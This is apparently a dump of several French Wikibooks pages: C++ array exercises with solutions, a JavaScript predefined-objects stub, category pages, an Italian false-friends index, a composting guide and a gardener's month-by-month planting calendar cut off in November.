Quitter<br/> Il y aura au maximum 10 entiers. La liste devra être en permanence triée : lorqu'on rajoute un entier, il sera inséré au bon endroit dans la liste pour que celle-ci reste triée. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Gestion d'une liste triée grâce à un tableau statique. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],nb=0,choix,e,V,i,j,trouve; bool fini=false; while(fini==false) { cout<<"1. Ajouter un entier"<<endl; cout<<"2. Afficher la liste des entier"<<endl; cout<<"3. Supprimer le premier entier ayant une valeur donnée"<<endl; cout<<"4. Supprimer tous les entiers ayant une valeur donnée"<<endl; cout<<"5. Quitter"<<endl; cout<<"Votre choix : ";cin>>choix; switch(choix) { case 1 : if(nb<N) { cout<<"Tapez un entier : ";cin>>e; i=0; while(i!=nb && t[i]<e)i++; for(j=nb;j>i;j--)t[j]=t[j-1]; t[i]=e; nb++; } else cout<<"IMPOSSIBLE LE TABLEAU EST PLEIN"<<endl; break; case 2 : if(nb==0)cout<<"LA LISTE EST VIDE"<<endl; else { cout<<"VOICI LA LISTE"<<endl; for(i=0;i<nb;i++)cout<<t[i]<<" "; cout<<endl; } break; case 3 : cout<<"Tapez la valeur à supprimer :";cin>>V; trouve=false; i=0; while(!trouve && i<nb)if(t[i]==V)trouve=true; else i++; if(trouve) { for(j=i;j<nb-1;j++)t[j]=t[j+1]; nb--; } break; case 4 : cout<<"Tapez la valeur à supprimer :";cin>>V; j=0; for(i=0;i<nb;i++) if(t[i]!=V){t[j]=t[i];j++;} nb=j; break; case 5 : fini=true; break; } } return 0; } </pre> }} ===EXERCICE 13 === Ecrire un programme qui demande à l'utilisateur de taper un entier N<=20 et qui affiche la N-ième ligne du triangle de pascal.<br/> ligne 1 : 1 1<br/> ligne 2 : 1 2 1<br/> ligne 3 : 1 3 3 1<br/> ligne 4 : 1 4 6 4 1<br/> et ainsi de suite ...<br/> {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Gestion d'une liste triée grâce à un tableau statique. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a[21],i,j,N; cout<<"Veuillez taper N : ";cin>>N; for(i=1;i<=N;i++) { if(i==1)a[0]=1; a[i]=1; for(j=i-1;j>=1;j--)a[j]=a[j]+a[j-1]; } for(i=0;i<=N;i++)cout<<a[i]<<" "; cout<<endl; return 0; } </pre> }} ===EXERCICE 14 === Ecrire un programme qui demande à l'utilisateur de taper 10 entiers compris entre 0 et 20 qui seront stockés dans un tableau et qui affiche le nombre de fois qu'on a tapé un 0, le nombre de 1, le nombre de 2, ..., le nombre de 20. {{Boîte déroulante|titre=Solution|contenu = <pre> #include<iostream> using namespace std; int main() { int a[10],nb[21],i; for(i=0;i<10;i++) { do {cout<<"Veuillez taper l'entier numero "<<i<<" : ";cin>>a[i];} while (a[i]>20 || a[i]<0); } for(i=0;i<21;i++)nb[i]=0; for(i=0;i<10;i++)nb[a[i]]++; for(i=0;i<21;i++){cout<<"Il y a "<<nb[i]<<" fois l'entier "<<i<<endl;} return 0; } </pre> }} ===EXERCICE 15 === Ecrire un programme qui demande à l'utilisateur de taper le contenu d'un tableau de réels de 3 lignes et 3 colonnes et qui affiche ce tableau mais en affichant la moyenne des éléments de chaque ligne, de chaque colonne et la moyenne globale. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation de tableaux à 2 dimensions. **Modélisation d'un problème mathématique basique. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=3; const int M=3; int main() { double t[N][M],moyL[N],moyC[M],moy; int i,j; for(i=0;i<N;i++) for(j=0;j<M;j++) { cout<<"Tapez la valeur de la ligne "<<i<<" colonne "<<j<<" : "; cin>>t[i][j]; } for(i=0;i<N;i++)moyL[i]=0; for(j=0;j<M;j++)moyC[j]=0; moy=0; for(i=0;i<N;i++) for(j=0;j<M;j++) { moyL[i]=moyL[i]+t[i][j]; moyC[j]=moyC[j]+t[i][j]; moy=moy+t[i][j]; } for(i=0;i<N;i++)moyL[i]=moyL[i]/N; for(j=0;j<M;j++)moyC[j]=moyC[j]/M; moy=moy/(N*M); for(i=0;i<N;i++) { for(j=0;j<M;j++) cout<<t[i][j]<<" "; cout<<moyL[i]<<endl; } for(j=0;j<M;j++) cout<<moyC[j]<<" "; cout<<endl; return 0; } </pre> }} Programmation JavaScript/Objets prédéfinis 6679 38868 2006-03-26T12:55:50Z Touffy 1301 Précisions sur les types d'objets prédéfinis {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Fonctions prédéfinis|Fonctions prédéfinies >>]] JavaScript dispose d'une bibliothèque d'objets étoffée en regard d'un nombre de fonctions classiques réduit au minimum.<br/> Ils possèdent des propriétés et méthodes statiques (directement utilisables par l'objet lui-même), et la plupart sont en même temps des classes d'objets, qui peuvent avoir des instances, lesquelles bénéficient de propriétés et méthodes qui leur sont propres. * Les valeurs littérales de type chaîne, nombre, booléen, etc instancient implicitement un objet String, Number, Boolean... * Certains objets comme Date se construisent surtout explicitement avec '''new'''. * Souvent, le constructeur permet de créer une instance même en oubliant le mot-clé new. * Des objets comme Math sont purement statiques et n'ont aucune instance. * Les objets spécifiques au DOM, navigator ou window par exemple, sont instanciés par le navigateur automatiquement ou bien indirectement par l'appel de méthodes du DOM, mais jamais directement avec new. ==Objets étendant les types== ===Array=== Une instance de Array est créée avec le mot réservé '''new'''.<br/> Syntaxe : <pre> mon_tableau = new Array();<br/> </pre> Une revue détaillée de l'objet est disponible en [[Programmation JavaScript/Références/Objets/Array|suivant ce lien.]] ===Date=== ===string (chaîne)=== ===Number (nombre)=== ===Boolean=== ===Function=== ==Objets fonctionnels== ===Math=== ===RegExp=== ==Document et environnement== ===window=== ===navigator=== [[Programmation JavaScript/Fonctions prédéfinis|Fonctions prédéfinies >>]] Catégorie:Faux amis 6680 38353 2006-03-18T22:54:58Z Vrykolaka 94 ''Liste des pages comportants les [[w:Faux-ami|Faux ami]]s d'une langue.'' [[Catégorie:Langue|Faux amis]] Catégorie:Espagnol 6681 40396 2006-04-16T18:48:21Z 62.194.241.152 interwiki {{sisterlinks|Category:Spanish language}} ''Liste des pages traitant de l'espagnol'' [[Catégorie:Langue]] [[pl:Kategoria:Język hiszpański]] [[pt:Categoria:Espanhol]] Catégorie:Anglais 6682 40399 2006-04-16T19:03:55Z 62.194.241.152 interwiki {{sisterlinks|Category:English language}} ''Liste des pages en rapport avec la langue anglais'' [[Catégorie:Langue|Anglais]] [[it:Categoria:Corso di inglese]] [[pt:Categoria:Inglês]] [[sv:Kategori:Engelska]] Faux-amis en italien 6683 29953 2006-01-23T13:02:28Z Boly38 136 +intro Voici la '''liste des faux''' amis en italien. __TOC__ {{Sous section|nom=Faux-amis italiens A|couleur=lightgreen|couleurbord=green|couleurfond=white}} {{Sous section|nom=Faux-amis italiens B|couleur=lightgreen|couleurbord=green|couleurfond=white}} {{Sous section|nom=Faux-amis italiens C D|couleur=lightgreen|couleurbord=green|couleurfond=white}} {{Sous section|nom=Faux-amis italiens E F|couleur=lightgreen|couleurbord=green|couleurfond=white}} {{Sous section|nom=Faux-amis italiens G H I|couleur=lightgreen|couleurbord=green|couleurfond=white}} {{Sous section|nom=Faux-amis italiens L M|couleur=lightgreen|couleurbord=green|couleurfond=white}} {{Sous section|nom=Faux-amis italiens N O|couleur=lightgreen|couleurbord=green|couleurfond=white}} {{Sous section|nom=Faux-amis italiens P Q R|couleur=lightgreen|couleurbord=green|couleurfond=white}} {{Sous section|nom=Faux-amis italiens S T|couleur=lightgreen|couleurbord=green|couleurfond=white}} {{Sous section|nom=Faux-amis italiens U V|couleur=lightgreen|couleurbord=green|couleurfond=white}} [[Catégorie:Faux amis|Italien]] [[Catégorie:Italien|Faux amis]] Catégorie:Italien 6684 40400 2006-04-16T19:06:34Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Italian}} ''Liste des pages en rapport avec la langue italien'' [[Catégorie:Langue|Italien]] [[it:Categoria:Corso di italiano]] [[pt:Categoria:Italiano]] Compost 6685 29958 2006-01-23T14:40:58Z Zivax 1021 Création '''Tout le monde peut faire son compost''' *'''''N'importe quel organisme vivant peut être composté :''''' Cependant la quantité et la qualité des matériaux utilisés pour le compostage, affectent le processus de compostage et la qualité du compost fini. Les micro-organismes qui travaillent à produire du compost ont besoin d'une bonne proportion de carbone pour énergiser la réaction d'azote pour former les protéines et fonctionner efficacement. Si le carbone est en excès, la décomposition est ralentie et l'azoté vite épuisé. Un excès d'azote relâche l'azote dans l'atmosphère en causant une odeur déplaisante ou dans l'eau en créant de la pollution. Les chaux, les coquilles d’œufs ou les cendres de bois peuvent être utilisés pour diminuer les odeurs en ralentissant le compostage. Généralement, les matériaux humides et verts sont riches en azote alors que les matériaux secs et brunâtres sont plus riches en carbone. *'''''Le déchiquetage des matériaux accélère énormément le processus de compostage :''''' Il est donc avantageux de fragmenter les branches et les plantes vivaces coriaces. Plus on découpe les matériaux, plus on offre une surface de travail aux bactéries. *L'activité microbienne engendre une augmentation de la température : Qui peut atteindre 40 à 65° Celsius dans un tas d'au moins un mètre cube mais de 15 à 40° Celsius dans les plus petits tas. La forte température (60° Celsius) est de loin préférable, cela accélère la décomposition, détruit la plupart des organismes nuisibles et les graines des mauvaises herbes. *'''''Les matières à éviter :''''' Dans les petits tas de compost de moins de un mètre cube, il faut éviter les mauvaises herbes montées en graine et les plantes malades. Il vaut mieux écarter également les mauvaises herbes coriaces comme le chiendent, l'herbe à puce et les liserons. Il ne faut jamais composter les déchets de cuisines de type animal comme les viandes, cela pourrait attirer la vermine. *'''''Les contenants :''''' Il n'est pas nécessaire d'acheter ou de fabriquer un contenant coûteux pour faire du bon compost, sauf peut être pour des raisons esthétiques. Une clôture à neige peut suffire ou un enclos de vieilles palettes de bois. Un simple tas, protégé des pluies par une bâche en polyéthylène fait tout aussi bien l'affaire surtout pour des quantités plus volumineuses. *'''''Les activateurs :''''' Certaines entreprises vendent des poudres qui activent le processus de compostage. Ces mélanges contiennent des micro-organismes et une source d'azote. Sauf dans certains cas, ces produits ne sont pas indispensables. Les micro-organismes pullulent naturellement dans tous les déchets de jardin, il n’est donc pas nécessaire d'en ajouter. *'''''Un compost est en évolution constante, on distingue donc quatre stades de décomposition :''''' **''Le compost jeune :'' Les matériaux sont devenus bruns mais ils sont encore facilement reconnaissables. Les vers sont rares, et la chaleur est intense dans le tas. C'est la phase thermique. **''Le compost moyen :'' Le tas de compost est plein de vers, d'insectes et de champignons microscopiques. Les matériaux deviennent plus friables et ne sont presque plus reconnaissables. Il y a beaucoup d'échanges gazeux et la perte de volume est considérable. C'est la phase gazeuse. **''Le compost mûr :'' Les vers et autres insectes deviennent moins nombreux. C'est la période de construction de l'humus. Le produit est facile à tamiser et à étendre. C'est la phase d'humidification. **''Le vieux compost :'' Il ressemble à du terreau et ne contient plus de vers. Le contenu en matière organique diminue peu à peu. C'est la phase de minéralisation. Calendrier du jardinier 6687 41683 2006-05-06T11:25:27Z 84.7.110.180 Ce '''calendrier''' est établi pour les régions sud et tempérées de la France ou les DOM TOM. Pour les autres régions, il suffit de reculer les dates données d'une ou de deux quinzaines par rapport aux tableaux ci-dessous. Un résumé des travaux à effectuer ne peut-être tracé pour toutes les circonstances, et expositions des sols, pour cela il est établi une année moyenne ne pouvant tenir compte des intempéries de chaque région. Il faut savoir que le renouvellement des cultures et des grands travaux de préparation commencent toujours en automne. *''Exemple : Pour la région de Nantes, il faut reculer d'une vingtaine de jours les indications données par le tableau concerné.'' <!--MOIS DE JANVIERS--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN JANVIER--> {| width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo;'''MOIS de JANVIER'''&raquo; &nbsp;&nbsp;&nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Ail, arbres et arbustes fruitiers #'''''Semer :''''' Aubergine, carotte, chou-fleur, épinard, laitue, navet, poireau, radis #'''''Récolter :''''' Chicorée sauvage, chou de Bruxelles, chou frisé, chou-navet, chou pommé, crosne, endive, fenouil, mâche, panais, poireau, salsifis, scorsonère, topinambour. | valign="top" width="33%" | *'''Autres travaux''' #Fumure de fond, #Enfouissement engrais vert (phacélie, moutarde, épinard), #Nourriture pour les oiseaux, pose de nichoirs. |} <!--MOIS DE FEVRIER--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN FEVRIER--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de FEVRIER''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Haie, ail, oignon, arbres et arbustes fruitiers #'''''Semer :''''' Carotte, chou-fleur, laitue #'''''Récolter :''''' Chicorée sauvage, chou de Bruxelles, chou frisé, chou-navet, chou pommé, crosne, endive, fenouil, mâche, panais, poireau, salsifis, scorsonère, topinambour | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Haie, ail, échalote, oignon, arbustes fruitiers #'''''Semer :''''' Aubergine, carotte, chou-fleur, épinard, laitue, navet, poireau, radis #'''''Récolter :''''' Chicorée sauvage, chou de Bruxelles, chou frisé, chou-navet, chou pommé, crosne, endive, fenouil, mâche, panais, poireau, salsifis, scorsonère, topinambour. | valign="top" width="33%" | *'''Autres travaux''' #Fumure de fond, #Enfouissement engrais vert (phacélie, moutarde, épinard), #Nourriture des oiseaux, pose de nichoirs. #Badigeonnage des arbres fruitiers |} <!--MOIS DE MARS--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN MARS--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de MARS''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Haie, ail, asperge, chou-fleur, chou-pommé, échalote, estragon, laitue, oignon, oseille, rhubarbe, arbres et arbustes fruitiers (en sol humide) #'''''Semer :''''' Moutarde (engrais vert), arroche, aubergine, carotte, chou brocoli, chou-fleur, chou pommé, chou-rave, coqueret du Pérou, épinard, fève, laitue, navet, oignon, persil, piment, poireau, pois, radis #'''''Récolter :''''' Chicorée sauvage, chou de Bruxelles, chou-fleur, chou frisé, chou-navet, chou pommé, endive, épinard, fenouil, mâche, panais, pissenlit, poireau, salsifis, scorsonère, topinambour | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Haie, asperge, chou-fleur, échalote, estragon, laitue, oignon, oseille, rhubarbe, arbres et arbustes fruitiers (en sol humide) #'''''Semer :''''' Moutarde (engrais vert), arroche, carotte, chou brocoli, chou de Bruxelles, chou-fleur, chou pommé, chou-rave, coqueret du Pérou, épinard, fève, laitue, navet, oignon, persil, piment, poireau, pois, radis, tomate #'''''Récolter :''''' Chicorée sauvage, chou de Bruxelles, chou-fleur, chou frisé, chou-navet, chou pommé, endive, épinard, fenouil, mâche, panais, pissenlit, poireau, salsifis, scorsonère, topinambour #'''''Tailler :''''' Arbres et arbustes fruitiers | valign="top" width="33%" | *'''Autres travaux''' #Fumure de fond, #Enfouissement engrais vert (seigle, trèfle incarnat), #Bêchage, #Débuttage des artichauts, buttage des asperges, #Plantation des boutures d'arbustes #Pose de nichoirs. #Traitement des arbres fruitiers |} <!--MOIS D'AVRIL--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN AVRIL--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS d'AVRIL''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Artichaut, carotte, chicorée sauvage, échalote, laitue, oignon, pomme de terre, topinambour #'''''Semer :''''' Moutarde (engrais vert), arroche, betterave, carotte, céleri, chicorée sauvage, chou brocoli, chou de Bruxelles, chou-fleur, chou pommé, chou-rave, concombre, épinard, laitue, navet, panais, persil, piment, poireau, poirée, pois, radis, salsifis, scorsonère, tomate #'''''Récolter :''''' Asperge, carotte, chicorée sauvage, chou-fleur, chou pommé, laitue, navet, oignon, pissenlit, poireau | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Artichaut, chou brocoli, chou-fleur, chou pommé, chou-rave, crosne, échalote, laitue, pomme de terre, topinambour #'''''Semer :''''' Moutarde (engrais vert), arroche, betterave, carotte, céleri, chicorée frisée et scarole, chicorée sauvage, chou brocoli, chou de Bruxelles, chou-fleur, chou frisé, chou pommé, chou-rave, concombre, courgette, épinard, fenouil, laitue, melon, navet, panais, persil, poireau, poirée, pois, potiron, radis, salsifis, scorsonère, tomate #'''''Récolter :''''' Asperge, carotte, chicorée sauvage, chou-fleur, chou pommé, laitue, navet, oignon, pissenlit, poireau | valign="top" width="33%" | *'''Autres travaux''' #Entretien du jardin #Retirer les mauvaises herbes |} <!--MOIS de MAI--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN MAI--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de MAI''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Chou brocoli, chou-fleur, chou pommé, chou-rave, coqueret du Pérou, échalote, laitue, poireau #'''''Semer :''''' Phacélie (engrais vert), moutarde (engrais vert), arroche, betterave, chicorée sauvage, chou brocoli, chou-fleur, chou frisé, chou pommé, chou-rave, concombre, courgette, endive, épinard, fenouil, haricot, laitue, melon, navet, panais, persil, pissenlit, poireau, poirée, pois, potiron, pourpier, radis, tétragone #'''''Récolter :''''' Arroche, asperge, carotte, chou-fleur, chou pommé, épinard, laitue, navet, oignon, radis, rhubarbe | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Aubergine, céleri, chou brocoli, chou de Bruxelles, chou-fleur, chou pommé, chou-rave, concombre, coqueret du Pérou, courgette, laitue, melon, piment, poireau, potiron, tomate #'''''Semer :''''' Phacélie (engrais vert), moutarde (engrais vert), arroche, betterave, cardon, chicorée sauvage, chou brocoli, chou-fleur, chou pommé, chou-rave, concombre, courgette, endive, épinard, fenouil, haricot, laitue, maïs doux, melon, navet, panais, persil, pissenlit, pois, pourpier, radis, tétragone #'''''Récolter :''''' Arroche, asperge, carotte, chicorée sauvage, chou-fleur, chou pommé, épinard, fève, laitue, navet, oignon, radis, rhubarbe | valign="top" width="33%" | *'''Autres travaux''' #Entretien du jardin #Retirer les mauvaises herbes |} <!--MOIS de JUIN--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN JUIN--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de JUIN''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Aubergine, céleri, chou brocoli, chou de Bruxelles, chou-fleur, chou pommé, chou-rave, concombre, laitue, melon, piment, poireau, potiron, tomate #'''''Semer :''''' Phacélie (engrais vert), moutarde (engrais vert), arroche, betterave, carotte, chicorée sauvage, chou brocoli, chou de Chine, chou-fleur, chou navet, chou pommé, chou-rave, courgette, épinard, fenouil, haricot, laitue, maïs doux, navet, persil, pissenlit, poirée, pourpier, radis d'hiver #'''''Récolter :''''' Arroche, asperge, carotte, chicorée sauvage, chou brocoli, chou-fleur, chou pommé, épinard, fraisier, laitue, navet, oignon, radis, rhubarbe | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Céleri, chou brocoli, chou-fleur, chou pommé, chou-rave, concombre, laitue, melon, poireau, potiron, tomate #'''''Semer :''''' Phacélie (engrais vert), moutarde (engrais vert), arroche, carotte, chicorée frisée, chicorée sauvage, chou brocoli, chou de Chine, chou navet, chou-rave, courgette, épinard, fenouil, haricot, laitue, navet, persil, pissenlit, poirée, pourpier, radis, radis d'hiver, scorsonère #'''''Récolter :''''' Ail, arroche, artichaut, carotte, chicorée sauvage, chou brocoli, chou-fleur, chou pommé, échalote, épinard, fève, fraisier, laitue, navet, oignon, pois | valign="top" width="33%" | *'''Autres travaux''' #Entretien du jardin #Retirer les mauvaises herbes #Enfouissement moutarde, #Paillage, #Marcottage des arbres fruitiers |} <!--MOIS de JUILLET--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN JUILLET--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de JUILLET''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Chou brocoli, chou-fleur, chou frisé, chou pommé, chou-rave, laitue, pissenlit #'''''Semer :''''' Phacélie (engrais vert), moutarde (engrais vert), arroche, carotte, chicorée scarole, chicorée sauvage, chou brocoli, chou de Chine, chou-rave, courgette, fenouil, haricot, laitue, navet, pourpier, radis, radis d'hiver, scorsonère #'''''Récolter :''''' Ail, arroche, artichaut, carotte, chicorée sauvage, chou brocoli, chou-fleur, chou pommé, chou rave, concombre, courgette, échalote, épinard, fève, fraisier, haricot, laitue, navet, oignon, pois, pomme de terre, pourpier, radis, tétragone | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Chou brocoli, chou-fleur, chou frisé, chou pommé, chou-rave, fraisier, laitue, pissenlit #'''''Semer :''''' Phacélie (engrais vert), moutarde (engrais vert), arroche, chicorée scarole, chicorée sauvage, chou brocoli, chou de Chine, fenouil, laitue, mâche, navet, pois, pourpier, radis, radis d'hiver, scorsonère #'''''Récolter :''''' Ail, arroche, artichaut, betterave, carotte, chicorée sauvage, chou brocoli, chou-fleur, chou pommé, chou rave, concombre, courgette, échalote, épinard, fenouil, fève, fraisier, haricot, laitue, navet, oignon, poirée, pois, pomme de terre, pourpier, radis, tétragone, tomate | valign="top" width="33%" | *'''Autres travaux''' #Entretien du jardin #Retirer les mauvaises herbes #Enfouissement moutarde, #Paillage, #Tailler : Framboisier remontant, pommier, poirier |} <!--MOIS de AOUT--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN AOUT--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de AOÛT''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Chou brocoli, chou-fleur, chou pommé, chou-rave, fraisier, laitue, poireau #'''''Semer :''''' Seigle (engrais vert), phacélie (engrais vert), trèfle incarnat (engrais vert), moutarde (engrais vert), chicorée scarole, chicorée sauvage, chou de Chine, laitue, mâche, poireau, radis, radis d'hiver #'''''Récolter :''''' Arroche, artichaut, aubergine, carotte, céleri, chicorée frisée, scarole, chicorée sauvage, brocoli, chou-fleur, chou pommé, chou rave, concombre, courgette, épinard, fenouil, fraisier, haricot, laitue, melon, oignon, poireau, poirée, pois, pomme de terre, pourpier, radis, tomate. | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Chou-fleur, fraisier, laitue #'''''Semer :''''' Seigle (engrais vert), moutarde (engrais vert), chicorée sauvage, chou pommé, épinard, laitue, mâche, navet, oignon, poireau, radis, radis d'hiver #'''''Récolter :''''' Arroche, artichaut, aubergine, carotte, céleri, chicorée frisée, scarole, chicorée sauvage, brocoli, chou-fleur, chou pommé, chou rave, concombre, courgette, épinard, fenouil, fraisier, haricot, laitue, melon, oignon, poireau, poirée, pois, pomme de terre, pourpier, radis, tomate. | valign="top" width="33%" | *'''Autres travaux''' #Entretien du jardin #Retirer les mauvaises herbes #Enfouissement moutarde, #Paillage, #Tailler : pommier, poirier |} <!--MOIS de SEPTEMBRE--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN SEPTEMBRE--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de SEPTEMBRE''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Fraisier #'''''Semer :''''' Seigle (engrais vert), chou pommé, épinard, laitue, mâche, navet, oignon, radis #'''''Récolter :''''' Arroche, artichaut, aubergine, betterave, carotte, céleri, chicorée frisée, chicorée sauvage, chou brocoli, chou de Bruxelles, chou-fleur, chou pommé, chou rave, concombre, courgette, épinard, fenouil, fraisier, haricot, laitue, maïs doux, melon, piment, poireau, poirée, potiron, pourpier, radis, tétragone, tomate | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' fraisier, #'''''Semer :''''' Seigle (engrais vert), chou-fleur, épinard, navet, radis #'''''Récolter :''''' Arroche, artichaut, aubergine, betterave, carotte, céleri, chicorée frisée, chicorée sauvage, chou brocoli, chou de Bruxelles, chou-fleur, chou navet, chou pommé, chou rave, concombre, courgette, épinard, fenouil, fraisier, haricot, laitue, maïs doux, melon, navet, piment, poireau, poirée, potiron, pourpier, radis, tétragone, tomate | valign="top" width="33%" | *'''Autres travaux''' #Entretien du jardin #Retirer les mauvaises herbes |} <!--MOIS de OCTOBRE--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN OCTOBRE--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de OCTOBRE''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Endive, fraisier, oignon #'''''Semer :''''' Carotte, chou-fleur, épinard, fève #'''''Récolter :''''' Arroche, betterave, cardon, carotte, céleri, chicorée frisée et scarole, chicorée sauvage, chou brocoli, chou de Bruxelles, chou de Chine, chou-fleur, chou navet, chou pommé, chou rave, courgette, épinard, fenouil, fraisier, laitue, maïs doux, melon, navet, piment, poireau, poirée, pois, potiron, pourpier, radis, radis d'hiver, salsifis, scorsonère, tétragone, tomate | valign="top" width="33%" | * '''Deuxième quinzaine''' #'''''Planter :''''' Ail, chou pommé, endive, fraisier, oignon, poireau #'''''Semer :''''' Carotte, fève #'''''Récolter :''''' Arroche, betterave, cardon, carotte, céleri, chicorée frisée et scarole, chicorée sauvage, chou brocoli, chou de Bruxelles, chou de Chine, chou-fleur, chou frisé, chou navet, chou pommé, chou rave, courgette, épinard, fenouil, fraisier, laitue, navet, piment, poireau, poirée, pois, potiron, pourpier, radis, radis d'hiver, salsifis, scorsonère, tétragone, tomate | valign="top" width="33%" | *'''Autres travaux''' #Entretien du jardin #Retirer les mauvaises herbes #Enfouissement moutarde, #Compostage en surface ou en tas de tous les résidus de la récolte, #Arrachage et forçage des endives |} <!--MOIS de NOVEMBRE--> {|style="margin-left: 1em; margin-bottom: 0.5em; width: 200px; border: #99B3FF solid 1px; | <div align="right" style="position:float;float:right;"><small> </small></div> |} <!--FIN NOVEMBRE--> {|width="100%" align="center" border="0" cellpadding="4" cellspacing="3" style="border: 1px solid #CCCC99; background-color:#f3f2de" |+ style="border: 1px solid #CCCC99; background-color:#f1f1de" | &laquo; '''MOIS de NOVEMBRE''' &raquo; &nbsp;&nbsp; |- bgcolor="#e7dcc3" | valign="top" width="33%" | * '''Première quinzaine''' #'''''Planter :''''' Haie, ail, chou pommé, échalote, endive, oignon, arbres et arbustes fruitiers #'''''Semer :''''' Carotte, fève #'''''Récolter :''''' Betterave, cardon, carotte, chicorée scarole, chicorée sauvage, chou brocoli, chou de 